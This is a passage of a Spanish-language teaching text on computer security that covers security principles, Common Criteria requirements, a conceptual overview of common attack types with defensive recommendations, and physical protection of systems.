Capítulo I Introducción a la seguridad informática En este documento se tratará la seguridad desde el punto de vista del programador, es decir, de aquello que tenemos que tener en cuenta en las etapas de diseño y codificación de los programas. Se describirán algunos errores de programación habituales que tienen implicaciones desde el punto de vista de la seguridad, daremos ejemplos de como se han usado para romper la seguridad de aplicaciones reales y comentaremos técnicas para detectar y corregir estos errores. ¿Qué es la seguridad informática? http://alerta-antivirus.red.es/seguridad/ver_pag.html?tema=S&articulo=4&pagina=7 La seguridad informática consisten en La seguridad informática, generalmente consiste en asegurar que los recursos del sistema de información (Material informático o programas) de una organización sean utilizados de la manera que se decidió. La seguridad informática busca la protección contra los riesgos liados a la informática. Los riesgos son en función de varios elementos: ● las amenazas que pesan sobre los activos (datos) a proteger ● las vulnerabilidades de estos activos ● su sensibilidad, la cual es la conjunción de diferentes factores: ● la confidencialidad, ● la integridad ● la disponibilidad o accesiblidad Hablar de seguridad informática en el momento actual no parece que suponga un alarde de modernidad y novedad. Con el desarrollo de los ordenadores personales, la vertiginosa evolución de Internet, la implantación del comercio electrónico y el impulso de la denominada "Sociedad de la Información", todo el mundo habla, sabe y se preocupa de la seguridad en estos ámbitos. De una estructura informática basada en sistemas propietarios y grandes servidores manejada por personal técnico, con una formación muy específica y alejada del conocimiento del común de los mortales, se ha evolucionado a otra más amigable y cercana al usuario final. Ello ha supuesto que los niveles iniciales de conocimiento sean rápidamente adquiridos por cualquier persona interesada, sin especiales conocimientos técnicos en la materia. La "globalización" en el conocimiento ha supuesto una quiebra de la seguridad de tiempos pasados amparada, en gran medida, en un cierto ocultismo. Entendiendo que los sistemas anteriores no eran más seguros que los actuales, tan sólo eran mucho más desconocidos. Existe una cierta tendencia a minimizar el ámbito de actuación del aspecto de la seguridad en el mundo de la Informática. Se cae, habitualmente, en abordar la implantación de la seguridad como respuesta a un problema o situación específica, sin estudiar todos los elementos que puedan estar relacionados. Si hablamos de una plataforma web abierta a Internet, la seguridad no es responder si instalamos tal o cual cortafuegos, es bastante más que eso: sistemas de alimentación ininterrumpida para máquinas críticas, duplicidad de almacenamiento, control físico, auditoría de conexiones internas y externas, blindaje de ficheros de sistema, control de modificación de ficheros, monitorización de tráfico de red, política de salvaguardas y muchas más. Un concepto global de seguridad informática sería aquel definido como el conjunto de procedimientos y actuaciones encaminados a conseguir la garantía de funcionamiento del sistema de información, obteniendo eficacia, entendida como el cumplimiento de la finalidad para el que estaba establecido, manteniendo la integridad, entendida como la inalterabilidad del sistema por agente externo al mismo, y alertando la detección de actividad ajena, entendida como el control de la interacción de elementos externos al propio sistema. Si conseguimos todo esto, tarea harto difícil vaya por delante, podremos decir que disponemos de un sistema seguro. Ya hemos comentado el concepto pero sobre qué lo aplicamos, qué es lo que hay que proteger. En el mundo de la Informática se utiliza habitualmente una división en dos grandes áreas que denominamos Hardware y Software. Dentro del área del Hardware los objetos de nuestra atención son fundamentalmente tres: servidores, clientes y líneas de comunicaciones. Los servidores, especialmente en instalaciones intermedias y grandes, suelen estar situados agrupados y en dependencias específicas como centros de procesos de datos. El acceso a dichas instalaciones debe estar controlado y auditado con reflejo del personal y material que entra y sale del mismo. La alimentación eléctrica debe garantizarse con sistemas ininterrumpidos para responder a pequeños cortes de corriente y con medios alternativos ante grandes cortes. Los medios de almacenamiento deben duplicarse o cuando menos garantizar la recuperación de la información ante problemas de discos, además de garantizar la duplicidad de accesos caso de baterías de discos o cintas externas. Para grandes servidores hay que habilitar desde duplicidad de accesos a placas de sistema hasta soluciones de alta disponibilidad entre dominios o máquinas. Se deben disponer de elementos de salvaguarda alternativos para cubrir posibles averías. El control de la consola principal del sistema y su conectividad a la máquina que nos permita acceder al sistema, caso de pérdida de acceso remoto a la misma, es otro de los aspectos a los que prestar atención. Los clientes, entendidos como aquellos equipos remotos que interactúan entre sí o con los servidores, han tenido un desarrollo enorme en los últimos tiempos. Pasar de los denominados "terminales tontos" a ordenadores personales que a título individual se constituyen como máquinas autónomas, y dentro de una red se mantienen como tales, además de adornarse de toda la potencialidad que les da la propia red supone un cambio significativo para la seguridad. Es imprescindible habilitar procedimientos para conseguir la identificación física de los distintos equipos, fundamentalmente por captura de la dirección MAC de las tarjetas de comunicaciones. Los accesos remotos empleados para mantenimiento o tareas periódicas exigen un control de actividad incluso física. La posibilidad de realizar actividades desatendidas sobre servidores, desde equipos cliente, deben garantizar la integridad funcional de todos los elementos que intervienen por lo que deben revisarse procedimientos regularmente. Las líneas de comunicaciones, de las que todo el mundo se preocupa de incrementar pero muy poco de controlar su actividad y uso. Una adecuada segmentación de la red además de mejorar su funcionamiento ayudará enormemente a su seguridad. La eliminación de los cuellos de botella y el estudio de las razones de que ocurra permitirá eliminar posibles quiebras de seguridad del sistema. La cifra de canales y la información que circula a través de ellos permitirá garantizar la confidencialidad, la integridad y el no repudio de la misma. A este respecto hay que hacer mención al avance que ha supuesto el empleo de las certificaciones digitales y el establecimiento de los procesos de firma digital, impulsados directamente por el comercio electrónico y el desarrollo de la denominada Sociedad de la Información. Todo lo reflejado hasta el momento, además de otras consideraciones como mentalización, conocimiento y planificación, tiene un condicionante fundamental y se llama dinero. En la medida en la que queramos un sistema más seguro tendremos que contemplar una inversión económica mayor. El cliente tendrá que decidir, ponga en la balanza dinero y nivel de seguridad a alcanzar y encontrará el equilibrio. Dentro del área de Software los objetos de nuestra atención son también tres: sistema operativo, bases de datos y aplicaciones. El o los sistemas operativos de nuestro sistema de información son la base del funcionamiento lógico del mismo, todo lo que esté alojado en el mismo estará íntimamente condicionado a la elección del sistema operativo y a su configuración personalizada. Un aspecto a vigilar desde el punto de vista de la seguridad es la elección de una versión y configuración estable, no hay que caer en la tentación de estar siempre a la última porque muchas veces lo único que conseguimos es hacer de conejillos de indias. Naturalmente antes de eso hay que elegir qué sistema instalar, casi todos son más o menos multipropósito pero cada uno está programado pensando en criterios diferentes en algo. Otro punto a tener en cuenta es el establecimiento de elementos alternativos de arranque que nos permitan hacer frente a incidencias que ocurren en el día a día, un sistema que permite arranque desde cinta es un auténtico seguro de vida. Hay que acordarse de activar las auditorías propias del sistema que nos va a dar información básica de actividad de aspectos críticos, caso de no disponer de herramientas propias, lo que es difícil que se dé, hay que invertir inexcusablemente en un desarrollo específico. Normalmente esas auditorías intrínsecas dan como resultado ficheros que se denominan genéricamente de logs. Se debe establecer una política de salvaguardas que permita, ante cualquier fallo crítico, restablecer una situación estable lo más próxima al momento anterior en que surgió la incidencia. Hay que evitar en lo posible las instalaciones "tipo" por las facilidades que presenta de conocimiento del sistema ante un eventual agresor. La consabida política de usuarios plasmada en una adecuada parcelación de niveles de acceso y en una estricta disciplina de palabras de paso, todos conocemos la teoría y ninguno la aplicamos, craso error. Hay que contemplar el control de ficheros en su propiedad y niveles de ejecución para detectar alteraciones en los mismos. La alteración en tamaño y fecha de ficheros básicos de configuración y actividad de sistema son indicios más que racionales de que puede existir una quiebra de la seguridad. Por lo que respecta a bases de datos tendríamos que repetir mucho de lo expuesto con anterioridad para los sistemas operativos. En el caso de las bases de datos es importante, además de contar con salvaguardas recientes, el contar con réplicas de la misma a tiempo real lo que permite minimizar el impacto de una quiebra de la integridad en la base explotada. Cuando hablamos de aplicaciones hacemos referencia a aquellos programas que de una u otra manera nos permiten explotar las funcionalidades de nuestro sistema de información. Una vez en explotación es fundamental el control de la actividad de los usuarios para conocer en todo momento quién y qué está haciendo. Este aspecto se lo plantea todo el mundo pero algo que suele caer en el olvido es la fase de desarrollo de la aplicación. En el proceso de generación del programa se debe controlar todo el proyecto, las validaciones que se realicen y quedarse en poder del código fuente y posteriores modificaciones, con el objeto de poder filtrar aquel código erróneo o malicioso que pueda incorporar la aplicación. Estamos hablando mucho de seguridad pero por qué?, cuál es la razón de tanta preocupación? El porqué de la seguridad viene derivado de tres aspectos fundamentales. En primer lugar para garantizar el correcto funcionamiento del sistema de información. Toda la inversión que se haga de nada servirá si no conseguimos alcanzar la funcionalidad para la que se creó el sistema. En segundo lugar, por prestigio y futuro del sistema y, por extensión, de la Aministración Pública de la empresa o Institución. Qué provocaría el conocimiento de una quiebra de seguridad del sistema informático de la FAN, PDVSA, o en algunos ministerios, pérdida de información de años de historia, poseedor de bases de datos referidas desde a terrorismo hasta narcotráfico pasando por datos personales presupuestos, nóminas, creo que sobran comentarios. Ello no quiere decir que caigamos en evitar todas aquellas funcionalidades que puedan suponer una quiebra en la seguridad, lo que hay que plantearse es más funcionalidad con más seguridad. Por último, pero no por ello menos importante, por una razón de imperativo legal. La Gaceta Oficial de la República Bolivariana de Venezuela La Asamblea Nacional de la República Bolivariana de Venezuela Decreta La Ley Especial contra los Delitos Informáticos, la cual tiene por objeto la protección integral de los sistemas que utilicen tecnologías de información, así como la prevención y sanción de los delitos cometidos contra tales sistemas o cualquiera de sus componentes o los cometidos mediante el uso de dichas tecnologías, en los términos previstos en esta ley. Fuente: http://www.gobiernoenlinea.gob.ve/docMgr/sharedfiles/LeyEspecialcontraDelitosInformaticos. pdf Principios de seguridad En general se suele decir que los tres objetivos fundamentales de la seguridad informática son: Confidencialidad; el acceso a los activos del sistema está limitado a usuarios autorizados. Integridad: los activos del sistema sólo pueden ser borrados o modificados por usuarios autorizados. Disponibilidad: el acceso a los activos en un tiempo razonable está garantizado para usuarios autorizados. ¿Por qué se escriben programas inseguros? Hay poca bibliografía y la formación específica de los programadores es escasa. Es difícil programar de manera segura; no se suelen usar metodos de verificación formal. La seguridad no es un requisito a la hora de elegir un programa, por lo que se suele obviar. La seguridad incrementa los costes económicos y requiere más tiempo y esfuerzo en el desarrollo e implantación de aplicaciones. Identificación de requisitos de seguridad Common Criteria o CC (ISO/IEC 15408:1999): estándar internacional para identificar y definir requisitos de seguridad. Se suele emplear para redactar dos tipos de documentos: Perfil de protección (Protection Profile o PP): es un documento que define las propiedades de seguridad que se desea que tenga un producto; básicamente se trata de un listado de requisitos de seguridad. Objetivo de seguridad (Security Target o ST): es un documento que describe lo que hace un producto que es relevante desde el punto de vista de la seguridad. Entorno y objetivos de seguridad El primer paso para redactar un PP o un ST es identificar el entorno de seguridad: ¿En qué entorno vamos a trabajar? ¿Qué activos debemos proteger? ¿Para que se va a usar el producto? A partir de esta identificación obtenemos una serie de supuestos sobre el entorno (tipos de usuarios, tipo de red, etc.), una lista de posibles amenazas y una descripción de las políticas de seguridad de la organización. Por último se define un conjunto de objetivos de seguridad, demostrando que con ellos se combaten las amenazas y se cumplen las políticas. Requisitos funcionales Los CC definen un conjunto de requisitos funcionales de seguridad que puede necesitar una aplicación: Auditoría de Seguridad: permitir el registro de eventos (hay que identificar cuales pueden ser interesantes desde el punto de vista de la seguridad). No rechazo (Non-repudiation): uso de técnicas para verificar la identidad del emisor y/o el receptor de un mensaje. Soporte criptográfico: si se usa criptografía ¿qué operaciones la usan? ¿que algoritmos y tamaños de clave se utilizan? ¿cómo se gestionan las claves? Protección de datos de usuario: especificar una política para la gestión de datos de usuario (control de acceso y reglas de flujo de información). Identificación y autenticación: uso de técnicas de validación de identidad. Gestión de seguridad: definición de perfiles de usuario y niveles de acceso asociados. Privacidad: soporte del anonimato de los usuarios. Autodefensa: la aplicación debe incluir sistemas de validación de su funcionamiento y fallar de manera segura si esa validación no se cumple. Utilización de recursos: soporte a la asignación de recursos, tolerancia a fallos. Control de acceso: soporte de sistemas que limiten el número y tipo de sesiones, el nivel de concurrencia y que proporcionen información sobre sesiones anteriores al usuario para ayudar a la detección de intrusos. Rutas o canales fiables: existencia de mecanismos que permitan al usuario identificar que accede a la aplicación real (p. ej. certificados digitales) evitando ataques del tipo hombre en el medio. Aspectos a considerar Para desarrollar una aplicación segura deberemos tener en cuenta los siguientes aspectos: 1.Control de la entrada: validar todas las entradas 2.Gestión de memoria: desbordamiento de buffers 3.Estructura interna y diseño del programa. 4.Llamadas a recursos externos: bibliotecas, scripts 5.Control de la salida: formato, restricciones 6.Problemas de los lenguajes de programación. 7.Otros: algoritmos criptográficos, de autentificación Confidencialidad, integridad y disponibilidad de la información Los posibles ataques son una amenaza constante a nuestros sistemas y pueden comprometer su funcionamiento, así como los datos que manejamos; ante todo lo cual, siempre tenemos que definir una cierta política de requerimientos de seguridad sobre nuestros sistemas y datos. Las amenazas que podemos sufrir podrían afectar a los aspectos siguientes: Confidencialidad: la información debe ser accesible sólo a aquellos que estén autorizados; estamos respondiendo a la pregunta: ¿quién podrá acceder a la misma? La confidencialidad intenta prevenir la revelación no autorizada, intencional o no, del contenido de un mensaje o de información en general. La pérdida de información puede producirse de muchas maneras, por ejemplo, por medio de la publicación intencional de información confidencial de una organización o por medio de un mal uso de los derechos de acceso en un sistema. Integridad: la información sólo podrá ser modificada por aquellos que estén autorizados: ¿qué se podrá hacer con ella? La integridad asegura que: No se realizan modificaciones de datos en un sistema por personal o procesos no autorizados. No se realizan modificaciones no autorizadas de datos por personal o procesos autorizados. Los datos son consistentes, es decir, la información interna es consistente entre si misma y respecto de la situación real externa. Disponibilidad: la información tiene que estar disponible para quienes la necesiten y cuando la necesiten, si están autorizados: ¿de qué manera, y cuándo se podrá acceder a ella? La disponibilidad asegura que el acceso a los datos o a los recursos de información por personal autorizado se produce correctamente y en tiempo. Es decir, la disponibilidad garantiza que los sistemas funcionan cuando se les necesita. Lo contrario de la confidencialidad, integridad y la disponibilidad son la revelación, la modificación y la destrucción. Por tanto, la confidencialidad, la integridad y la disponibilidad son unos conceptos claves en el ámbito de la seguridad de la información y por ende en el desarrollo de aplicaciones. Capítulo II Tipos y métodos de los ataques Técnicas utilizadas en los ataques Los métodos utilizados son múltiples y pueden depender de un elemento (hardware o software) o de la versión de éste. Por lo tanto, hay que mantener actualizado el software para las correcciones de seguridad que vayan apareciendo, y seguir las indicaciones del fabricante o distribuidor para proteger el elemento. A pesar de ello, normalmente siempre hay técnicas o métodos de moda , del momento actual, algunas breves indicaciones de estas técnicas de ataque (de hoy en día) son: A pesar de ello, normalmente siempre hay técnicas o métodos de moda , del momento actual, algunas breves indicaciones de estas técnicas de ataque (de hoy en día) son: Bug exploits: o explotación de errores o agujeros [CER03b] [Ins98][San03], ya sea de un hardware, software, servicio, protocolo o del propio sistema operativo (por ejemplo, en el kernel), y normalmente de alguna de las versiones de éstos en concreto. Normalmente, cualquier elemento informático es más o menos propenso a errores en su concepción, o simplemente a cosas que no se han tenido en cuenta o previsto. Periódicamente, se descubren agujeros (a veces se denominan holes, exploits, o simplemente bugs, ...), que pueden ser aprovechados por un atacante para romper la seguridad de los sistemas. Suelen utilizarse o bien técnicas de ataque genéricas, como las que se explican a continuación, o bien técnicas particulares para el elemento afectado. Cada elemento afectado tendrá un responsable ya sea fabricante, desarrollador, distribuidor o la comunidad GNU/Linux de producir nuevas versiones o parches para tratar estos problemas. Nosotros, como administradores, tenemos la responsabilidad de estar informados y de mantener una política de actualización responsable para evitar los riesgos potenciales de estos ataques. En caso de que no haya soluciones disponibles, también podemos estudiar la posibilidad de utilizar alternativas al elemento, o bien inhabilitarlo hasta que tengamos soluciones. Virus: programa normalmente anexo a otros y que utiliza mecanismos de autocopia y transmisión. Son habituales los virus anexados a programas ejecutables, a mensajes de correo electrónico, o incorporados en documentos o programas que permiten algún lenguaje de macros (no verificado). Son quizás la mayor plaga de seguridad de hoy en día. Los sistemas GNU/Linux están protegidos casi totalmente contra estos mecanismos por varias razones: en los programas ejecutables, tienen un acceso muy limitado al sistema, en particular a la cuenta del usuario. Con excepción del usuario root, con el cual hay que tener mucho cuidado con lo que éste ejecuta. El correo no suele utilizar lenguajes de macros no verificados (como en el caso de Outlook y Visual Basic Script en Windows, que es un agujero de entrada de virus), y en el caso de los documentos, estamos en condiciones parecidas, ya que no soportan lenguajes de macros no verificados (como el VBA en Microsoft Office). En todo caso, habrá que prestar atención a lo que pueda pasar en un futuro, ya que podrían surgir algunos virus específicos para Linux aprovechando algunos bugs o exploits. Un punto que sí que hay que tener en cuenta es el de los sistemas de correo, ya que si bien nosotros no generaremos virus, sí que podemos llegar a transmitirlos; por ejemplo, si nuestro sistema funciona como router de correo, podrían llegar mensajes con virus que podrían ser enviados a otros. Aquí se puede implementar alguna política de detección y filtrado de virus. Otra forma de azote de plagas que podría entrar dentro de la categoría de virus son los mensajes de spam, que si bien no suelen ser utilizados como elementos atacantes, sí que podemos considerarlos como problemas por su virulencia de aparición, y el coste económico que pueden causar (pérdidas de tiempo y recursos). Worm (o gusano ): normalmente se trata de un tipo de programas que aprovechan algún agujero del sistema para realizar ejecuciones de código sin permiso. Suelen ser utilizados para aprovechar recursos de la máquina, como el uso de CPU, bien cuando se detecta que el sistema no funciona o no está en uso, o bien si son malintencionados, con el objetivo de robar recursos o bien utilizarlos para parar o bloquear el sistema. También suelen utilizar técnicas de transmisión y copia. Trojan Horse (o caballos de Troya , o troyanos ): programas útiles que incorporan alguna funcionalidad, pero ocultan otras que son las utilizadas para obtener información del sistema o comprometerlo. Un caso particular puede ser el de los códigos de tipo móvil en aplicaciones web, como los Java, JavaScript o ActiveX; éstos normalmente piden su consentimiento para ejecutarse (ActiveX en Windows), o tienen modelos limitados de lo que pueden hacer (Java, JavaScript). Pero como todo software, también tienen agujeros y son un método ideal para transmitir troyanos. Back Door (o trap door, puerta trasera ): método de acceso a un programa escondido que puede utilizarse con fines de otorgar acceso al sistema o a los datos manejados sin que lo conozcamos. Otros efectos pueden ser cambiar la configuración del sistema, o permitir introducir virus. El mecanismo usado puede ser desde venir incluidos en algún software común, o bien en un troyano. Bombas lógicas: programa incrustado en otro, que comprueba que se den algunas condiciones (temporales, acciones del usuario, etc.), para activarse y emprender acciones no autorizadas. Keyloggers: programa especial que se dedica a secuestrar las interacciones con el teclado del usuario. Pueden ser programas individuales o bien troyanos incorporados en otros programas. Normalmente, necesitarían introducirse en un sistema abierto al que se dispusiese de acceso. La idea es captar cualquier introducción de teclas, de manera que se capturen contraseñas, interacción con aplicaciones, sitios visitados por la red, formularios rellenados, etc. Scanner (escaneo de puertos): más que un ataque, sería un paso previo, que consistiría en la recolección de posibles objetivos. Básicamente, consiste en utilizar herramientas que permitan examinar la red en busca de máquinas con puertos abiertos, sean TCP, UDP u otros protocolos, los cuales indican presencia de algunos servicios. Por ejemplo, escanear máquinas buscando el puerto 80 TCP, indica la presencia de servidores web, de los cuales podemos obtener información sobre el servidor y la versión que utilizan para aprovecharnos de vulnerabilidades conocidas. Sniffers ( husmeadores ): permiten la captura de paquetes que circulan por una red. Con las herramientas adecuadas podemos analizar comportamientos de máquinas: cuáles son servidores, clientes, qué protocolos se utilizan y en muchos casos obtener contraseñas de servicios no seguros. En un principio, fueron muy utilizados para capturar contraseñas de telnet, rsh, rcp, ftp, ... servicios no seguros que no tendrían que utilizarse (usar en su lugar las versiones seguras: ssh, scp, sftp). Tanto los sniffers (como los scanners) no son necesariamente una herramienta de ataque, ya que también pueden servir para analizar nuestras redes y detectar fallos, o simplemente analizar nuestro tráfico. Normalmente, tanto las técnicas de scanners como las de sniffers suelen utilizarse por parte de un intruso con el objetivo de encontrar las vulnerabilidades del sistema, ya sea para conocer datos de un sistema desconocido (scanners), o bien para analizar la interacción interna (sniffer). Hijacking (o secuestro ): son técnicas que intentan colocar una máquina de manera que intercepte o reproduzca el funcionamiento de algún servicio en otra máquina que ha pinchado la comunicación. Suelen ser habituales los casos para correo electrónico, transferencia de ficheros o web. Por ejemplo, en el caso web, se puede capturar una sesión y reproducir lo que el usuario está haciendo, páginas visitadas, interacción con formularios, etc. Buffer overflows : técnica bastante compleja que aprovecha errores de programación en las aplicaciones. La idea básica es aprovechar desbordamientos (overflows) en buffers de la aplicación, ya sean colas, arrays, etc. Si no se controlan los límites, un programa atacante puede generar un mensaje o dato más grande de lo esperado y provocar fallos. Por ejemplo, muchas aplicaciones C con buffers mal escritos, en arrays, si sobrepasamos el límite podemos provocar una sobreescritura del código del programa, causando malfuncionamiento o caída del servicio o máquina. Es más, una variante más compleja permite incorporar en el ataque trozos de programa (compilados C o bien shell scripts), que pueden permitir la ejecución de cualquier código que el atacante quiera introducir. Denial of Service ( ataque DoS ): este tipo de ataque provoca que la máquina caiga o que se sobrecarguen uno o más servicios, de manera que no sean utilizables. Otra técnica es la DDoS (Distributed DoS), que se basa en utilizar un conjunto de máquinas distribuidas para que produzcan el ataque o sobrecarga de servicio. Este tipo de ataques se suelen solucionar con actualizaciones del software, ya que normalmente se ven afectados aquellos servicios que no fueron pensados para una carga de trabajo determinada y no se controla la saturación. Los ataques DoS y DDoS son bastante utilizados en ataques a sitios web, o servidores DNS, los que ven afectados por vulnerabilidades de los servidores, por ejemplo, de versiones concretas de Apache o BIND. Otro aspecto por tener en cuenta es que nuestro sistema también podría ser usado para ataques de tipo DDoS, mediante control ya sea de un backdoor o un troyano. Un ejemplo de este ataque (DoS), bastante sencillo, es el conocido como SYN flood, que trata de generar paquetes TCP que abren una conexión, pero ya no hacen nada más con ella, simplemente la dejan abierta; esto gasta recursos del sistema en estructuras de datos del kernel, y recursos de conexión por red. Si se repite este ataque centenares o miles de veces, se consigue ocupar todos los recursos sin utilizarlos, de modo que cuando algunos usuarios quieran utilizar el servicio, les sea denegado porque los recursos están ocupados. Otro caso conocido es el correo bombing, o simplemente reenvío de correo (normalmente con emisor falso) hasta que se saturan las cuentas de correo o el sistema de correo cae, o se vuelve tan lento que es inutilizable. Estos ataques son en cierta medida sencillos de realizar, con las herramientas adecuadas, y no tienen una solución fácil, ya que se aprovechan del funcionamiento interno de los protocolos y servicios; en estos casos tenemos que tomar medidas de detección y control posterior. Recomendaciones para la seguridad Algunas recomendaciones generales (muy básicas) para la seguridad, podrían ser: Controlar un factor problemático, los usuarios: uno de los factores que puede afectar más a la seguridad es la confidencialidad de las contraseñas, y ésta se ve afectada por el comportamiento de los usuarios; esto facilita a posibles atacantes las acciones desde dentro del propio sistema. La mayoría de los ataques suelen venir de dentro del sistema, o sea, una vez el atacante ha ganado acceso al sistema. Entre los usuarios, está aquel que es un poco olvidadizo (o indiscreto), que bien olvida la contraseña cada dos por tres, lo menciona en conversaciones, lo escribe en un papel que olvida, o que está junto (o pegado) al ordenador o sobre la mesa de trabajo, o que simplemente lo presta a otros usuarios o conocidos. Otro tipo es el que pone contraseñas muy predecibles, ya sea su mismo id de usuario, su nombre, su DNI, el nombre de su novia, el de su madre, el de su perro, etc., cosas que con un mínimo de información pueden encontrarse fácilmente. Otro caso son los usuarios normales con un cierto conocimiento, que colocan contraseñas válidas, pero siempre hay que tener en cuenta que hay mecanismos que pueden encontrarlas (cracking de passwords, sniffing, spoofing ...). Hay que establecer una cierta cultura de seguridad entre los usuarios, y mediante técnicas obligarles a que cambien las contraseñas, no utilicen palabras típicas, las contraseñas deben ser largas (tener más de 2 o 3 caracteres), etc. Últimamente, en muchas empresas e instituciones se está implantando la técnica de hacer firmar un contrato al usuario de manera que se le obliga a no divulgar la contraseña o cometer actos de vandalismo o ataques desde su cuenta (claro que esto no impide que otros lo hagan por él). No utilizar ni ejecutar programas de los que no podamos garantizar su origen. Normalmente, muchos distribuidores utilizan mecanismos de comprobación de firmas para verificar que los paquetes de software son tales, como por ejemplo las sumas md5 (comando md5sum) o la utilización de firmas GPG (comando gpg). El vendedor o distribuidor provee una suma md5 de su archivo (o imagen de CD), y podemos comprobar la autenticidad de éste. No utilizar usuarios privilegiados (como root) para el trabajo normal de la máquina; cualquier programa (o aplicación) tendría los permisos para acceder a cualquier parte. No acceder remotamente con usuarios privilegiados ni ejecutar programas que puedan tener privilegios. Y más, si no conocemos, o hemos comprobado, los niveles de seguridad del sistema. No utilizar elementos que no sabemos cómo actúan ni intentar descubrirlo a base de repetidas ejecuciones. Estas medidas pueden ser poco productivas, pero si no hemos asegurado el sistema, no podemos tener ningún control sobre lo que puede pasar, y aun así, nadie asegura que no se pueda colar algún programa malicioso que burlara la seguridad si lo ejecutamos con los permisos adecuados. O sea, que en general hemos de tener mucho cuidado con todo este tipo de actividades que supongan accesos y ejecución de tareas de formas más o menos privilegiadas. Capítulo III Seguridad física de los sistemas Introducción La seguridad física de los sistemas informáticos consiste en la aplicación de barreras físicas y procedimientos de control como medidas de prevención y contramedidas contra las amenazas a los recursos y la información confidencial. Más claramente, y particularizando para el caso de equipos UNIX y sus centros de operación, por `seguridad física' podemos entender todas aquellas mecanismos - generalmente de prevención y detección - destinados a proteger físicamente cualquier recurso del sistema; estos recursos son desde un simple teclado hasta una cinta de backup con toda la información que hay en el sistema, pasando por la propia CPU de la máquina. Desgraciadamente, la seguridad física es un aspecto olvidado con demasiada frecuencia a la hora de hablar de seguridad informática en general; en muchas organizaciones se suelen tomar medidas para prevenir o detectar accesos no autorizados o negaciones de servicio, pero rara vez para prevenir la acción de un atacante que intenta acceder físicamente a la sala de operaciones o al lugar donde se depositan las impresiones del sistema. Esto motiva que en determinadas situaciones un atacante se decline por aprovechar vulnerabilidades físicas en lugar de lógicas, ya que posiblemente le sea más fácil robar una cinta con una imagen completa del sistema que intentar acceder a él mediante fallos en el software. Hemos de ser conscientes de que la seguridad física es demasiado importante como para ignorarla: un ladrón que roba un ordenador para venderlo, un incendio o un pirata que accede sin problemas a la sala de operaciones nos pueden hacer mucho más daño que un intruso que intenta conectar remotamente con una máquina no autorizada; no importa que utilicemos los más avanzados medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una política de firewalling muy restrictiva: si no tenemos en cuenta factores físicos, estos esfuerzos para proteger nuestra información no van a servir de nada. Además, en el caso de organismos con requerimientos de seguridad medios, unas medidas de seguridad físicas ejercen un efecto disuasorio sobre la mayoría de piratas: como casi todos los atacantes de los equipos de estos entornos son casuales (esto es, no tienen interés específico sobre nuestros equipos, sino sobre cualquier equipo), si notan a través de medidas físicas que nuestra organización está preocupada por la seguridad probablemente abandonarán el ataque para lanzarlo contra otra red menos protegida. Aunque como ya dijimos en la introducción este proyecto no puede centrarse en el diseño de edificios resistentes a un terremoto o en la instalación de alarmas electrónicas, sí que se van a intentar comentar ciertas medidas de prevención y detección que se han de tener en cuenta a la hora de definir mecanismos y políticas para la seguridad de nuestros equipos. Pero hemos de recordar que cada sitio es diferente, y por tanto también lo son sus necesidades de seguridad; de esta forma, no se pueden dar recomendaciones específicas sino pautas generales a tener en cuenta, que pueden variar desde el simple sentido común (como es el cerrar con llave la sala de operaciones cuando salimos de ella) hasta medidas mucho más complejas, como la prevención de radiaciones electromagnéticas de los equipos o la utilización de degaussers. En entornos habituales suele ser suficiente con un poco de sentido común para conseguir una mínima seguridad física; de cualquier forma, en cada institución se ha de analizar el valor de lo que se quiere proteger y la probabilidad de las amenazas potenciales, para en función de los resultados obtenidos diseñar un plan de seguridad adecuado. Por ejemplo, en una empresa ubicada en Valencia quizás parezca absurdo hablar de la prevención ante terremotos (por ser esta un área de bajo riesgo), pero no sucederá lo mismo en una universidad situada en una zona sísmicamente activa; de la misma forma, en entornos de I+D es absurdo hablar de la prevención ante un ataque nuclear, pero en sistemas militares esta amenaza se ha de tener en cuenta. Protección del hardware El hardware es frecuentemente el elemento más caro de todo sistema informático. Por tanto, las medidas encaminadas a asegurar su integridad son una parte importante de la seguridad física de cualquier organización, especialmente en las dedicadas a I+D: universidades, centros de investigación, institutos tecnológicos...suelen poseer entre sus equipos máquinas muy caras, desde servidores con una gran potencia de cálculo hasta routers de última tecnología, pasando por modernos sistemas de transmisión de datos como la fibra óptica. Son muchas las amenazas al hardware de una instalación informática; aquí se van a presentar algunas de ellas, sus posibles efectos y algunas soluciones, si no para evitar los problemas sí al menos para minimizar sus efectos. Acceso físico La posibilidad de acceder físicamente a una máquina Unix - en general, a cualquier sistema operativo - hace inútiles casi todas las medidas de seguridad que hayamos aplicado sobre ella: hemos de pensar que si un atacante puede llegar con total libertad hasta una estación puede por ejemplo abrir la CPU y llevarse un disco duro; sin necesidad de privilegios en el sistema, sin importar la robustez de nuestros cortafuegos, sin nisiquiera una clave de usuario, el atacante podrá seguramente modificar la información almacenada, destruirla o simplemente leerla. Incluso sin llegar al extremo de desmontar la máquina, que quizás resulte algo exagerado en entornos clásicos donde hay cierta vigilancia, como un laboratorio o una sala de informática, la persona que accede al equipo puede pararlo o arrancar una versión diferente del sistema operativo sin llamar mucho la atención. Si por ejemplo alguien accede a un laboratorio con máquinas Linux, seguramente le resultará fácil utilizar un disco de arranque, montar los discos duros de la máquina y extraer de ellos la información deseada; incluso es posible que utilice un ramdisk con ciertas utilidades que constituyan una amenaza para otros equipos, como nukes o sniffers. Visto esto, parece claro que cierta seguridad física es necesaria para garantizar la seguridad global de la red y los sistemas conectados a ella; evidentemente el nivel de seguridad física depende completamente del entorno donde se ubiquen los puntos a proteger (no es necesario hablar sólo de equipos Unix, sino de cualquier elemento físico que se pueda utilizar para amenazar la seguridad, como una toma de red apartada en cualquier rincón de un edificio de nuestra organización). Mientras que parte de los equipos estarán bien protegidos, por ejemplo los servidores de un departamento o las máquinas de los despachos, otros muchos estarán en lugares de acceso semipúblico, como laboratorios de prácticas; es justamente sobre estos últimos sobre los que debemos extremar las precauciones, ya que lo más fácil y discreto para un atacante es acceder a uno de estos equipos y, en segundos, lanzar un ataque completo sobre la red. Prevención Cómo prevenir un acceso físico no autorizado a un determinado punto? Hay soluciones para todos los gustos, y también de todos los precios: desde analizadores de retina hasta videocámaras, pasando por tarjetas inteligentes o control de las llaves que abren determinada puerta. Todos los modelos de autenticación de usuarios son aplicables, aparte de para controlar el acceso lógico a los sistemas, para controlar el acceso físico; de todos ellos, quizás los más adecuados a la seguridad física sean los biométricos y los basados en algo poseído; aunque como comentaremos más tarde suelen resultar algo caros para utilizarlos masivamente en entornos de seguridad media. Pero no hay que irse a sistemas tan complejos para prevenir accesos físicos no autorizados; normas tan elementales como cerrar las puertas con llave al salir de un laboratorio o un despacho o bloquear las tomas de red que no se suelan utilizar y que estén situadas en lugares apartados son en ocasiones más que suficientes para prevenir 